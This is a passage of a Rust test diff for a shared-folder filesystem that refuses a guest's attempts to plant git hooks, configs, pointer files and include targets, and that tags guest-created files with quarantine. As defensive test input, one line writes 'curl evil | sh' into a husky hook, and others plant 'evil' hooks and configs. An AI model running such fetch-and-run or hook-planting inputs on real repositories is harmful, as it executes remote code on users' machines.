assert_eq!(share.md("r/.git/modules/evil/objects"), 0); ++ assert_eq!(share.md("r/.git/modules/evil/refs"), 0); ++ // With a pre-planted hooks and a non-admitted config: the HEAD create and the gitfile flush. ++ for own in ["own", "ownconfig", "ownhooks"] { ++ assert_eq!(share.put(&format!("r/.git/modules/{own}/HEAD"), b"ref: refs/heads/main\n"), EPERM, "{own}"); ++ assert_eq!(share.ren("r/.git/modules/evil/HEAD", &format!("r/.git/modules/{own}/HEAD")), EPERM, "{own}"); ++ assert!(!share.root.join(format!("r/.git/modules/{own}/HEAD")).exists()); ++ } ++ assert_eq!(share.put("r/sub2/.git", b"gitdir: ../.git/modules/own\n"), EPERM, "the gitfile flush"); ++ assert_eq!(fs::read(share.root.join("r/sub2/.git")).unwrap(), b"", "the host file stays empty"); ++ assert_eq!(share.rewrite("r/sub2/.git", format!("gitdir: {GUEST}/r/.git/modules/ownhooks\n").as_bytes()), EPERM); ++ assert_eq!(share.rewrite("r/sub2/.git", b"gitdir: ../.git/modules/ownconfig\n"), EPERM); ++ assert_eq!(fs::read(share.root.join("r/sub2/.git")).unwrap(), b""); ++ // The same directory built in refs/ and logs/ of a planted HEAD: built freely (exempt), never a git ++ // directory (HEAD refused beside hooks or a non-admitted config) and never a pointer target. ++ for base in ["r/.git/refs/evil", "r/.git/logs/evil"] { ++ if base.contains("logs") { ++ assert_eq!(share.md("r/.git/logs"), 0); ++ } ++ assert_eq!(share.md(base), 0); ++ assert_eq!(share.put(&format!("{base}/config"), evil.as_bytes()), 0, "{base}"); ++ assert_eq!(share.md(&format!("{base}/hooks")), 0, "{base}"); ++ assert_eq!(share.put(&format!("{base}/HEAD"), b"ref: refs/heads/main\n"), EPERM, "{base}"); ++ let target = base.trim_start_matches("r/"); ++ assert_eq!(share.rewrite("r/sub2/.git", format!("gitdir: ../{target}\n").as_bytes()), EPERM, "{base}"); ++ } ++ // HEAD first, then the rest, in an exempt directory: still never a pointer target. ++ assert_eq!(share.md("r/.git/refs/late"), 0); ++ assert_eq!(share.put("r/.git/refs/late/HEAD", b"ref: refs/heads/main\n"), 0); ++ assert_eq!(share.put("r/.git/refs/late/config", evil.as_bytes()), 0); ++ assert_eq!(share.put("r/sub3/.git", b"gitdir: ../.git/refs/late\n"), EPERM); ++ // commondir: the reviewer's variant through a worktree directory. ++ assert_eq!(share.md("r/.git/worktrees"), 0); ++ assert_eq!(share.md("r/.git/worktrees/w"), 0); ++ assert_eq!(share.put("r/.git/worktrees/w/commondir", b"../../modules/own\n"), EPERM); ++ assert_eq!(fs::read(share.root.join("r/.git/worktrees/w/commondir")).unwrap(), b""); ++ // A target under modules/ but inside a git directory's refs/ is never a pointer target. ++ assert_eq!(share.md("r/.git/modules/evil/refs/x"), 0); ++ assert_eq!(share.put("r/sub3/.git2", b""), 0); ++ assert_eq!(share.rewrite("r/sub2/.git", b"gitdir: ../.git/modules/evil/refs/x\n"), EPERM); ++ // The admitted evil directory: the gitfile is accepted, and nothing runs there. ++ assert_eq!(share.put("r/sub/.git", b"gitdir: ../.git/modules/evil\n"), 0); ++ assert_eq!(fs::read(share.root.join("r/sub/.git")).unwrap(), b"gitdir: ../.git/modules/evil\n"); ++ assert!(!share.root.join("r/.git/modules/evil/config").exists() && !share.root.join("r/.git/modules/evil/hooks").exists()); ++} ++ ++#[test] ++fn r15_head_is_replaced_in_a_repository_with_hook_samples_but_never_added_beside_them() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir(root.join("r/.git/hooks")).unwrap(); ++ fs::write(root.join("r/.git/hooks/pre-commit.sample"), b"#!/bin/sh\n").unwrap(); ++ }); ++ // The Mac's own repositories carry hooks/*.sample; checking out a branch rewrites HEAD there. ++ assert_eq!(share.lock_rename("r/.git/HEAD", b"ref: refs/heads/other\n"), 0); ++ assert_eq!(fs::read(share.root.join("r/.git/HEAD")).unwrap(), b"ref: refs/heads/other\n"); ++ // A commondir or gitdir is new there, so it is refused. ++ assert_eq!(share.put("r/.git/commondir", b".\n"), EPERM); ++ assert_eq!(share.put("r/.git/gitdir", b"x\n"), EPERM); ++} ++ ++// ---- H3: pointer files ------------------------------------------------------------------------------------ ++ ++#[test] ++fn r15_pointer_files_naming_a_guest_made_repository_are_refused() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ // A repository the guest made (a clone): its .git is not below a modules/ or worktrees/. ++ plant_repo(&root.join("guestmade"), PLAIN_CONFIG); ++ fs::create_dir_all(root.join("r/.git/worktrees/w")).unwrap(); ++ fs::write(root.join("r/.git/worktrees/w/HEAD"), b"ref: refs/heads/w\n").unwrap(); ++ fs::create_dir(root.join("wt")).unwrap(); ++ fs::create_dir(root.join("sub")).unwrap(); ++ symlink("r/.git/worktrees/w", root.join("link")).unwrap(); ++ // A gitfile inside a .git chain, and a modules/ directory that is not a worktrees/. ++ fs::create_dir_all(root.join("r/.git/modules/m")).unwrap(); ++ fs::write(root.join("r/.git/modules/m/.git"), b"gitdir: x\n").unwrap(); ++ fs::create_dir_all(root.join("r/.git/modules/q")).unwrap(); ++ }); ++ // A gitfile at a guest-made repository, by every spelling of its path. ++ for content in [ ++ "gitdir: ../guestmade/.git\n".to_owned(), ++ format!("gitdir: {GUEST}/guestmade/.git\n"), ++ "gitdir: ../link\n".to_owned(), ++ "gitdir: /elsewhere/.git\n".to_owned(), ++ "gitdir: ~/.git\n".to_owned(), ++ "gitdir: ../../outside\n".to_owned(), ++ "gitdir: ../r/.git\n".to_owned(), ++ "gitdir: ../r/.git/worktrees/w\n\n".to_owned(), ++ "gitdir: ../r/.git/worktrees/w\r\n".to_owned(), ++ "gitdir:../r/.git/worktrees/w\n".to_owned(), ++ "../r/.git/worktrees/w\n".to_owned(), ++ "gitdir: \n".to_owned(), ++ "gitdir: ../missing/repo\n".to_owned(), ++ "gitdir: ../r/.git/missing\n".to_owned(), ++ ] { ++ assert_eq!(share.put("sub/.git", content.as_bytes()), EPERM, "{content:?}"); ++ assert_eq!(fs::read(share.root.join("sub/.git")).unwrap(), b"", "{content:?}"); ++ assert_eq!(share.rm("sub/.git"), 0); ++ } ++ // commondir and gitdir, each at a guest-made repository or out of place: refused at the flush, the ++ // host file left empty. ++ let refused = |share: &mut Share, path: &str, content: &[u8], why: &str| { ++ assert_eq!(share.put(path, content), EPERM, "{why}"); ++ assert_eq!(fs::read(share.root.join(path)).unwrap(), b"", "{why}"); ++ assert_eq!(share.rm(path), 0); ++ }; ++ refused(&mut share, "r/.git/worktrees/w/commondir", b"../../../../guestmade/.git\n", "a guest-made repository"); ++ refused(&mut share, "r/.git/worktrees/w/commondir", b"../../worktrees\n", "not the common directory"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../../../guestmade/.git/config\n", "not a gitfile"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../../../guestmade/.git\n", "a directory, not a gitfile"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../modules/m/.git\n", "a .git file inside a .git chain"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../modules/q/.git\n", "a missing .git inside a .git chain"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../../../wt/notgit\n", "not named .git"); ++ refused(&mut share, "r/.git/worktrees/w/gitdir", b"../../../../link/.git\n", "through a link"); ++ // Valid content in the wrong place: a git directory's modules//, not its worktrees//. ++ refused(&mut share, "r/.git/modules/m/commondir", b"../..\n", "commondir outside worktrees/"); ++ refused(&mut share, "r/.git/modules/m/gitdir", format!("{GUEST}/wt/.git\n").as_bytes(), "gitdir outside worktrees/"); ++ assert_eq!(share.put("r/.git/x", b""), 0); ++ assert_eq!(share.md("r/.git/y"), 0); ++ refused(&mut share, "r/.git/y/commondir", b"..\n", "commondir outside worktrees/"); ++ // Accepted: exactly what `git worktree add` writes. ++ assert_eq!(share.put("r/.git/worktrees/w/commondir", b"../..\n"), 0); ++ assert_eq!(share.put("r/.git/worktrees/w/gitdir", format!("{GUEST}/wt/.git\n").as_bytes()), 0); ++ assert_eq!(share.put("wt/.git", format!("gitdir: {GUEST}/r/.git/worktrees/w\n").as_bytes()), 0); ++ assert_eq!(fs::read(share.root.join("wt/.git")).unwrap(), format!("gitdir: {GUEST}/r/.git/worktrees/w\n").as_bytes()); ++ // A rewrite is checked like a create; a refused one leaves the checked content. ++ assert_eq!(share.rewrite("wt/.git", b"gitdir: ../guestmade/.git\n"), EPERM); ++ assert_eq!(fs::read(share.root.join("wt/.git")).unwrap(), format!("gitdir: {GUEST}/r/.git/worktrees/w\n").as_bytes()); ++ // More than 4 KiB is refused at the write. ++ let node = share.at("wt/.git"); ++ let fh = share.open_ok(node, WRONLY); ++ assert_eq!(share.write(node, fh, 0, &[b'a'; POINTER_MAX + 1]).error, EPERM); ++ assert_eq!(share.setattr_fh(node, fh, FATTR_SIZE, 0, POINTER_MAX as u64 + 1).error, EPERM); ++ share.release(node, fh); ++ // Never a link, a hard link, a rename onto one or another type with these names. ++ assert_eq!(share.sym("sub/.git", "../r/.git"), EPERM); ++ assert_eq!(share.put("plain", b"gitdir: ../r/.git/worktrees/w\n"), 0); ++ assert_eq!(share.hard("plain", "sub/.git"), EPERM); ++ assert_eq!(share.ren("plain", "sub/.git"), EPERM); ++ assert_eq!(share.ren("plain", "wt/.git"), EPERM); ++ assert_eq!(share.hard("wt/.git", "plain2"), EPERM); ++ assert_eq!(share.md("r/.git/worktrees/w/gitdir2"), 0); ++ assert_eq!(share.md("r/.git/worktrees/x"), 0); ++ assert_eq!(share.md("r/.git/worktrees/x/commondir"), EPERM); ++ assert_eq!(share.sym("r/.git/worktrees/x/gitdir", "../w/gitdir"), EPERM); ++ // A truncate without the pointer's own handle. ++ let node = share.at("wt/.git"); ++ assert_eq!(share.setattr(node, FATTR_SIZE, 0, 0).error, EPERM); ++ let body = FallocateIn { fh: 0, offset: 0, length: 1, mode: 0, padding: 0 }; ++ assert_eq!(share.call(Opcode::Fallocate, node, body.as_slice()).error, EPERM); ++} ++ ++#[test] ++fn r15_a_config_that_is_not_a_regular_file_is_never_replaced() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::rename(root.join("r/.git/config"), root.join("r/real-config")).unwrap(); ++ symlink("../real-config", root.join("r/.git/config")).unwrap(); ++ }); ++ assert_eq!(share.lock_rename("r/.git/config", PLAIN_CONFIG.as_bytes()), EPERM); ++ assert!(fs::symlink_metadata(share.root.join("r/.git/config")).unwrap().file_type().is_symlink()); ++} ++ ++#[test] ++fn r15_a_protected_node_is_held_by_identity_through_any_other_name() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ // The user's own hard link to the repository's config, outside the zone. ++ fs::hard_link(root.join("r/.git/config"), root.join("r/config-link")).unwrap(); ++ }); ++ share.at("r/.git/config"); ++ assert_eq!(share.open_w("r/config-link"), EPERM); ++ assert_eq!(share.rm("r/config-link"), EPERM); ++ assert_eq!(fs::read_to_string(share.root.join("r/.git/config")).unwrap(), PLAIN_CONFIG); ++} ++ ++// ---- the layouts git itself makes: clone, worktree add, submodule update ------------------------------ ++ ++#[test] ++fn r15_a_clone_a_worktree_add_and_a_submodule_update_succeed() { ++ // Reference layouts from the host's own git, in a separate temporary tree. ++ let reference = TempTree::new(); ++ let home = reference.0.clone(); ++ host_git(&home, &home, &["init", "-q", "up"]); ++ fs::write(home.join("up/f.txt"), b"upstream\n").unwrap(); ++ host_git(&home, &home.join("up"), &["add", "f.txt"]); ++ host_git(&home, &home.join("up"), &["commit", "-q", "-m", "one"]); ++ let head = text(&host_git(&home, &home.join("up"), &["rev-parse", "HEAD"])); ++ host_git(&home, &home, &["clone", "-q", "up", "clone"]); ++ host_git(&home, &home, &["clone", "-q", "up", "sup"]); ++ host_git(&home, &home.join("sup"), &["worktree", "add", "-q", "-b", "wt", "../wt"]); ++ host_git(&home, &home.join("sup"), &["submodule", "add", "-q", "../up", "sub"]); ++ let r = |p: &str| fs::read(home.join(p)).unwrap(); ++ ++ let mut share = folder_at_host_path(); ++ let guest = share.root.to_str().unwrap().to_owned(); ++ // 1. A clone, in git's order: .git, config through config.lock, HEAD, refs/, objects/, the rest. ++ assert_eq!(share.md("sup"), 0); ++ assert_eq!(share.md("sup/.git"), 0); ++ assert_eq!(share.lock_rename("sup/.git/config", PLAIN_CONFIG.as_bytes()), 0); ++ // git's core.symlinks probe: a link named t + six characters to `testing`, removed at once. ++ assert_eq!(share.sym("sup/.git/tNLq77W", "testing"), 0); ++ assert_eq!(share.rm("sup/.git/tNLq77W"), 0); ++ assert_eq!(share.put("sup/.git/HEAD", b"ref: refs/heads/main\n"), 0); ++ assert_eq!(share.lock_rename("sup/.git/config", &r("clone/.git/config")), 0); ++ for dir in ["objects", "refs", "logs"] { ++ assert_eq!(share.md(&format!("sup/.git/{dir}")), 0); ++ share.copy_in(&home.join("clone/.git").join(dir), &format!("sup/.git/{dir}")); ++ } ++ if home.join("clone/.git/packed-refs").exists() { ++ assert_eq!(share.lock_rename("sup/.git/packed-refs", &r("clone/.git/packed-refs")), 0); ++ } ++ assert_eq!(share.put("sup/.git/index", &r("clone/.git/index")), 0); ++ assert_eq!(share.lock_rename("sup/.git/HEAD", &r("clone/.git/HEAD")), 0); ++ assert_eq!(share.put("sup/f.txt", b"upstream\n"), 0); ++ let sup = share.root.join("sup"); ++ assert_eq!(text(&host_git(&home, &sup, &["rev-parse", "HEAD"])), head); ++ assert_eq!(text(&host_git(&home, &sup, &["status", "--porcelain"])), ""); ++ ++ // 2. git worktree add -b wt ../wt, in git's order (gitdir, gitfile, commondir, HEAD). ++ assert_eq!(share.lock_rename("sup/.git/refs/heads/wt", format!("{head}\n").as_bytes()), 0); ++ assert_eq!(share.md("sup/.git/worktrees"), 0); ++ assert_eq!(share.md("sup/.git/worktrees/wt"), 0); ++ assert_eq!(share.put("sup/.git/worktrees/wt/locked", b"initializing\n"), 0); ++ assert_eq!(share.md("wt"), 0); ++ assert_eq!(share.put("sup/.git/worktrees/wt/gitdir", format!("{guest}/wt/.git\n").as_bytes()), 0); ++ assert_eq!(share.put("wt/.git", format!("gitdir: {guest}/sup/.git/worktrees/wt\n").as_bytes()), 0); ++ assert_eq!(share.put("sup/.git/worktrees/wt/commondir", b"../..\n"), 0); ++ assert_eq!(share.md("sup/.git/worktrees/wt/refs"), 0); ++ assert_eq!(share.lock_rename("sup/.git/worktrees/wt/HEAD", b"ref: refs/heads/wt\n"), 0); ++ assert_eq!(share.md("sup/.git/worktrees/wt/logs"), 0); ++ assert_eq!(share.put("sup/.git/worktrees/wt/logs/HEAD", b"\n"), 0); ++ assert_eq!(share.rm("sup/.git/worktrees/wt/locked"), 0); ++ assert_eq!(share.put("sup/.git/worktrees/wt/index", &r("sup/.git/worktrees/wt/index")), 0); ++ assert_eq!(share.put("wt/f.txt", b"upstream\n"), 0); ++ let wt = share.root.join("wt"); ++ assert_eq!(text(&host_git(&home, &wt, &["rev-parse", "--abbrev-ref", "HEAD"])), "wt"); ++ assert_eq!(text(&host_git(&home, &wt, &["status", "--porcelain"])), ""); ++ ++ // 3. git submodule update (add): the gitfile first, at a git directory still to be made; the ++ // submodule's own config through the lock, core.worktree last; the gitfile rewritten relative. ++ assert_eq!(share.md("sup/.git/modules"), 0); ++ assert_eq!(share.md("sup/sub"), 0); ++ assert_eq!(share.put("sup/sub/.git", format!("gitdir: {guest}/sup/.git/modules/sub\n").as_bytes()), 0); ++ assert_eq!(share.md("sup/.git/modules/sub"), 0); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", PLAIN_CONFIG.as_bytes()), 0); ++ assert_eq!(share.put("sup/.git/modules/sub/HEAD", b"ref: refs/heads/main\n"), 0); ++ for dir in ["objects", "refs", "logs"] { ++ assert_eq!(share.md(&format!("sup/.git/modules/sub/{dir}")), 0); ++ share.copy_in(&home.join("sup/.git/modules/sub").join(dir), &format!("sup/.git/modules/sub/{dir}")); ++ } ++ if home.join("sup/.git/modules/sub/packed-refs").exists() { ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/packed-refs", &r("sup/.git/modules/sub/packed-refs")), 0); ++ } ++ let module_config = String::from_utf8(r("sup/.git/modules/sub/config")).unwrap(); ++ assert!(module_config.contains("worktree = ../../../sub"), "git writes core.worktree for a submodule"); ++ let without: String = module_config.lines().filter(|l| !l.contains("worktree")).map(|l| format!("{l}\n")).collect(); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", without.as_bytes()), 0); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", module_config.as_bytes()), 0); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/HEAD", &r("sup/.git/modules/sub/HEAD")), 0); ++ assert_eq!(share.rewrite("sup/sub/.git", b"gitdir: ../.git/modules/sub\n"), 0); ++ assert_eq!(share.put("sup/.git/modules/sub/index", &r("sup/.git/modules/sub/index")), 0); ++ assert_eq!(share.put("sup/sub/f.txt", b"upstream\n"), 0); ++ assert_eq!(share.lock_rename("sup/.git/config", &r("sup/.git/config")), 0); ++ assert_eq!(share.lock_rename("sup/.gitmodules", &r("sup/.gitmodules")), 0); ++ assert_eq!(share.lock_rename("sup/.git/index", &r("sup/.git/index")), 0); ++ let sub = share.root.join("sup/sub"); ++ assert_eq!(fs::read(sub.join(".git")).unwrap(), b"gitdir: ../.git/modules/sub\n"); ++ assert_eq!(text(&host_git(&home, &sub, &["rev-parse", "HEAD"])), head); ++ assert_eq!(text(&host_git(&home, &sub, &["status", "--porcelain"])), ""); ++ host_git(&home, &sup, &["submodule", "status"]); ++ assert!(share.notices().is_empty(), "nothing was refused"); ++} ++ ++// ---- T17b: repository-tracked hooks and include targets ---------------------------------------------- ++ ++#[test] ++fn r15_husky_v9_hooks_are_refused_without_ever_looking_up_dot_git() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("app"), &format!("{PLAIN_CONFIG}\thooksPath = .husky/_\n")); ++ fs::create_dir_all(root.join("app/.husky/_")).unwrap(); ++ fs::write(root.join("app/.husky/_/h"), b"#!/bin/sh\n. \"$(dirname \"$0\")/../$(basename \"$0\")\"\n").unwrap(); ++ fs::write(root.join("app/.husky/_/pre-commit"), b"#!/bin/sh\n. \"$(dirname \"$0\")/h\"\n").unwrap(); ++ fs::write(root.join("app/.husky/pre-commit"), b"npm test\n").unwrap(); ++ fs::write(root.join("app/.husky/notes.md"), b"notes\n").unwrap(); ++ }); ++ // The guest goes straight for .husky/pre-commit. ++ assert_eq!(share.open_w("app/.husky/pre-commit"), EPERM); ++ assert_eq!(share.rewrite("app/.husky/pre-commit", b"curl evil | sh\n"), EPERM); ++ let hook = share.at("app/.husky/pre-commit"); ++ assert_eq!(share.setattr(hook, FATTR_MODE, 0o755, 0).error, EPERM); ++ assert_eq!(share.rm("app/.husky/pre-commit"), EPERM); ++ assert_eq!(share.ren("app/.husky/pre-commit", "app/.husky/x"), EPERM); ++ // A hook that does not exist yet. ++ assert_eq!(share.put("app/.husky/pre-push", b"evil\n"), EPERM); ++ assert_eq!(share.put("app/.husky/post-checkout", b"evil\n"), EPERM); ++ assert_eq!(share.sym("app/.husky/commit-msg", "/bin/sh"), EPERM); ++ assert_eq!(share.put("app/.husky/elsewhere", b"x\n"), 0); ++ assert_eq!(share.ren("app/.husky/elsewhere", "app/.husky/pre-rebase"), EPERM); ++ // The hooksPath tree itself. ++ assert_eq!(share.open_w("app/.husky/_/h"), EPERM); ++ assert_eq!(share.put("app/.husky/_/pre-push", b""), EPERM); ++ assert!(!share.root.join("app/.husky/_/pre-push").exists()); ++ assert_eq!(share.rd("app/.husky/_"), EPERM); ++ // Ancestors cannot be moved out from under the names. ++ assert_eq!(share.ren("app/.husky", "app/husky-old"), EPERM); ++ assert_eq!(share.ren("app", "app2"), EPERM); ++ // Ordinary files beside them stay ordinary work. ++ assert_eq!(share.rewrite("app/.husky/notes.md", b"more notes\n"), 0); ++ assert_eq!(fs::read(share.root.join("app/.husky/pre-commit")).unwrap(), b"npm test\n"); ++ // Removing core.hooksPath is allowed, but the tracked set never shrinks within an incarnation (the ++ // user's next `npm install` would put it back). ++ assert_eq!(share.lock_rename("app/.git/config", PLAIN_CONFIG.as_bytes()), 0); ++ assert_eq!(share.open_w("app/.husky/pre-commit"), EPERM); ++ assert_eq!(share.put("app/.husky/pre-push", b"evil\n"), EPERM); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected]); ++} ++ ++#[test] ++fn r15_plain_hooks_paths_relative_absolute_and_not_yet_existing() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("a"), &format!("{PLAIN_CONFIG}\thooksPath = githooks\n")); ++ fs::create_dir(root.join("a/githooks")).unwrap(); ++ fs::write(root.join("a/githooks/pre-commit"), b"lint\n").unwrap(); ++ plant_repo(&root.join("b"), &format!("{PLAIN_CONFIG}\thooksPath = {GUEST}/b/tools/hooks\n")); ++ plant_repo(&root.join("c"), &format!("{PLAIN_CONFIG}\thooksPath = ~/global-hooks\n")); ++ fs::create_dir(root.join("c/global-hooks")).unwrap(); ++ }); ++ assert_eq!(share.open_w("a/githooks/pre-commit"), EPERM); ++ assert_eq!(share.put("a/githooks/pre-push", b""), EPERM); ++ assert!(!share.root.join("a/githooks/pre-push").exists()); ++ assert_eq!(share.ren("a/githooks", "a/hooks-old"), EPERM); ++ // An absolute hooksPath under the guest mount path whose directory does not exist yet. ++ assert_eq!(share.md("b/tools"), 0); ++ assert_eq!(share.md("b/tools/hooks"), EPERM); ++ assert_eq!(share.put("b/tools/hooks", b"x"), EPERM); ++ assert_eq!(share.md("b/tools/other"), 0); ++ assert_eq!(share.ren("b/tools/other", "b/tools/hooks"), EPERM); ++ assert_eq!(share.md("b/elsewhere"), 0); ++ assert_eq!(share.md("b/elsewhere/hooks"), 0); ++ assert_eq!(share.ren("b/elsewhere", "b/tools2"), 0); ++ // An ancestor of the target cannot be renamed away. ++ assert_eq!(share.ren("b/tools", "b/tools3"), EPERM); ++ // A home-relative path is outside the share: nothing here is tracked for it. ++ assert_eq!(share.put("c/global-hooks/pre-commit", b"x"), 0); ++} ++ ++#[test] ++fn r15_include_targets_nested_with_every_include_if_kind_and_not_yet_existing() { ++ let config = format!( ++ "{PLAIN_CONFIG}[include]\n\tpath = conf/a.inc\n[includeIf \"gitdir:~/work/\"]\n\tpath = conf/gitdir.inc\n[includeIf \"gitdir/i:/x/\"]\n\tpath = conf/gitdir-i.inc\n[includeIf \"onbranch:main\"]\n\tpath = conf/onbranch.inc\n[includeIf \"hasconfig:remote.*.url:https://example.invalid/**\"]\n\tpath = {GUEST}/repo/conf/hasconfig.inc\n[include]\n\tpath = ~/.gitconfig-extra\n\tpath = /etc/gitconfig-extra\n" ++ ); ++ let mut share = folder(|root| { ++ plant_repo(&root.join("repo"), &config); ++ fs::create_dir_all(root.join("repo/.git/conf")).unwrap(); ++ fs::write(root.join("repo/.git/conf/a.inc"), b"[include]\n\tpath = b.inc\n").unwrap(); ++ fs::write(root.join("repo/.git/conf/b.inc"), b"[include]\n\tpath = ../../nested/c.inc\n[core]\n\thooksPath = hooks-from-include\n").unwrap(); ++ fs::create_dir(root.join("repo/nested")).unwrap(); ++ fs::create_dir(root.join("repo/conf")).unwrap(); ++ fs::write(root.join("repo/conf/hasconfig.inc"), b"").unwrap(); ++ }); ++ // The include resolves relative to the including file (.git/conf/...), nested to b.inc and c.inc. ++ assert_eq!(share.open_w("repo/.git/conf/a.inc"), EPERM); ++ assert_eq!(share.open_w("repo/.git/conf/b.inc"), EPERM); ++ assert_eq!(share.put("repo/nested/c.inc", b"[core]\n\tfsmonitor = x\n"), EPERM, "a missing nested target"); ++ for name in ["gitdir.inc", "gitdir-i.inc", "onbranch.inc"] { ++ assert_eq!(share.put(&format!("repo/.git/conf/{name}"), b"[core]\n\tfsmonitor = x\n"), EPERM, "{name}"); ++ } ++ assert_eq!(share.open_w("repo/conf/hasconfig.inc"), EPERM); ++ assert_eq!(share.md("repo/hooks-from-include"), EPERM, "a hooksPath set by an include"); ++ // Outside the share (home, /etc): out of the guest's reach, nothing tracked here. ++ assert_eq!(share.put("repo/.gitconfig-extra", b"x"), 0); ++ assert_eq!(share.put("repo/conf/other.inc", b"x"), 0); ++ assert_eq!(share.ren("repo/nested", "repo/nested2"), EPERM, "an ancestor of a target"); ++} ++ ++#[test] ++fn r15_a_missing_non_ascii_target_refuses_every_non_ascii_spelling() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), &format!("{PLAIN_CONFIG}[include]\n\tpath = ../inc/caf\u{e9}.inc\n")); ++ fs::create_dir(root.join("r/inc")).unwrap(); ++ }); ++ if !insensitive(&share) { ++ return; ++ } ++ assert_eq!(share.put("r/inc/caf\u{e9}.inc", b"x"), EPERM); ++ assert_eq!(share.put("r/inc/cafe\u{301}.inc", b"x"), EPERM, "the decomposed spelling"); ++ assert_eq!(share.put("r/inc/CAF\u{c9}.INC", b"x"), EPERM); ++ assert_eq!(share.put("r/inc/cafe.inc", b"x"), 0, "an ASCII name cannot alias it"); ++} ++ ++// ---- T18, T19: watched names --------------------------------------------------------------------------- ++ ++#[test] ++fn r15_watched_names_are_allowed_and_reported_once_per_kind() { ++ let mut share = folder(|root| { ++ fs::create_dir_all(root.join("p/.vscode")).unwrap(); ++ fs::create_dir_all(root.join("p/.idea/runConfigurations/nested")).unwrap(); ++ fs::write(root.join("p/.envrc"), b"use nix\n").unwrap(); ++ }); ++ assert_eq!(share.rewrite("p/.envrc", b"source_up\n"), 0); ++ assert_eq!(share.put("q.envrc", b""), 0); ++ assert_eq!(share.put("p/.ENVRC2", b""), 0); ++ assert_eq!(share.notices(), vec![NoticeKind::Envrc]); ++ assert_eq!(share.put("p/.vscode/tasks.json", b"{}"), 0); ++ assert_eq!(share.put("p/.vscode/settings.json", b"{}"), 0); ++ assert_eq!(share.put("p/w.code-workspace", b"{}"), 0); ++ assert_eq!(share.put("p/.idea/workspace.xml", b""), 0); ++ assert_eq!(share.rewrite("p/.vscode/tasks.json", b"{\"runOn\": \"folderOpen\"}"), 0); ++ assert_eq!( ++ share.notices(), ++ vec![NoticeKind::VscodeTasks, NoticeKind::VscodeSettings, NoticeKind::CodeWorkspace, NoticeKind::IdeaProject] ++ ); ++ assert!(share.notices().is_empty()); ++ assert_eq!(fs::read(share.root.join("p/.vscode/tasks.json")).unwrap(), b"{\"runOn\": \"folderOpen\"}"); ++ // Anything below .idea/runConfigurations, at any depth, in a fresh incarnation. ++ let mut fresh = folder(|root| fs::create_dir_all(root.join("p/.idea/runConfigurations/nested")).unwrap()); ++ assert_eq!(fresh.put("p/.idea/runConfigurations/nested/run", b""), 0); ++ assert_eq!(fresh.notices(), vec![NoticeKind::IdeaProject]); ++ // The sink is bounded: one entry per kind, then nothing more in this incarnation. ++ let sink = ShareNotices::default(); ++ for _ in 0..3 { ++ for kind in NoticeKind::ALL { ++ sink.push(kind); ++ } ++ } ++ assert_eq!(sink.drain(), NoticeKind::ALL.to_vec()); ++ sink.push(NoticeKind::Envrc); ++ assert!(sink.drain().is_empty()); ++ assert_eq!(NOTICE_CAPACITY, 6); ++ assert_eq!( ++ NoticeKind::ALL.map(NoticeKind::wire), ++ ["git_protected", "envrc", "vscode_tasks", "vscode_settings", "code_workspace", "idea_project"] ++ ); ++} ++ ++#[test] ++fn r15_applies_only_to_read_write_folder_sources() { ++ for flags in [flags(false, true), flags(false, false)] { ++ let mut share = Share::build(flags, |root| plant_repo(&root.join("r"), PLAIN_CONFIG)); ++ assert_eq!(share.md("r/.git/hooks"), 0); ++ assert_eq!(share.put("r/.git/hooks/pre-commit", b"x"), 0); ++ assert!(share.fs().lock().git.is_none()); ++ assert!(share.notices().is_empty()); ++ } ++ let mut share = Share::build(ShareFlags { read_only: true, winter_share: false, folder_rules: true }, |root| plant_repo(&root.join("r"), PLAIN_CONFIG)); ++ assert!(share.fs().lock().git.is_none()); ++ assert_eq!(share.md("r/.git/hooks"), lx::EROFS); ++} ++ ++// ---- R16: quarantine on guest-created files (T20) ------------------------------------------------------ ++ ++#[test] ++fn r16_every_create_and_mkdir_is_tagged_on_every_read_write_share() { ++ for flags in [FOLDER, flags(false, true), flags(false, false)] { ++ let mut share = Share::new(flags); ++ assert_eq!(share.put("tool", b"#!/bin/sh\n"), 0); ++ assert_eq!(share.md("App.app"), 0); ++ assert_eq!(share.md("App.app/Contents"), 0); ++ assert_eq!(share.put("App.app/Contents/run.command", b"x"), 0); ++ for path in ["tool", "App.app", "App.app/Contents", "App.app/Contents/run.command"] { ++ assert_tagged(&share.root.join(path)); ++ } ++ } ++ assert_eq!(quarantine::value_at(0x1234), "0081;00001234;Winter Cowork;"); ++ assert_eq!((QUARANTINE_FLAGS, QUARANTINE_AGENT, QUARANTINE_NAME), ("0081", "Winter Cowork", c"com.apple.quarantine")); ++} ++ ++#[test] ++fn r16_an_exec_bit_setattr_a_write_open_or_truncate_of_an_executable_tags_it() { ++ let mut share = folder(|root| { ++ for name in ["doc", "script", "bin", "big", "plain"] { ++ fs::write(root.join(name), b"#!/bin/sh\n").unwrap(); ++ } ++ for name in ["bin", "big"] { ++ fs::set_permissions(root.join(name), fs::Permissions::from_mode(0o755)).unwrap(); ++ } ++ }); ++ // A mode change without an execute bit, a read-only open, a write-open of a non-executable: no tag ++ // (the documented residual). ++ let doc = share.at("doc"); ++ assert_eq!(share.setattr(doc, FATTR_MODE, 0o600, 0).error, 0); ++ let bin = share.at("bin"); ++ let fh = share.open_ok(bin, RDONLY); ++ share.release(bin, fh); ++ assert_eq!(share.rewrite("plain", b"text\n"), 0); ++ for name in ["doc", "bin", "plain"] { ++ 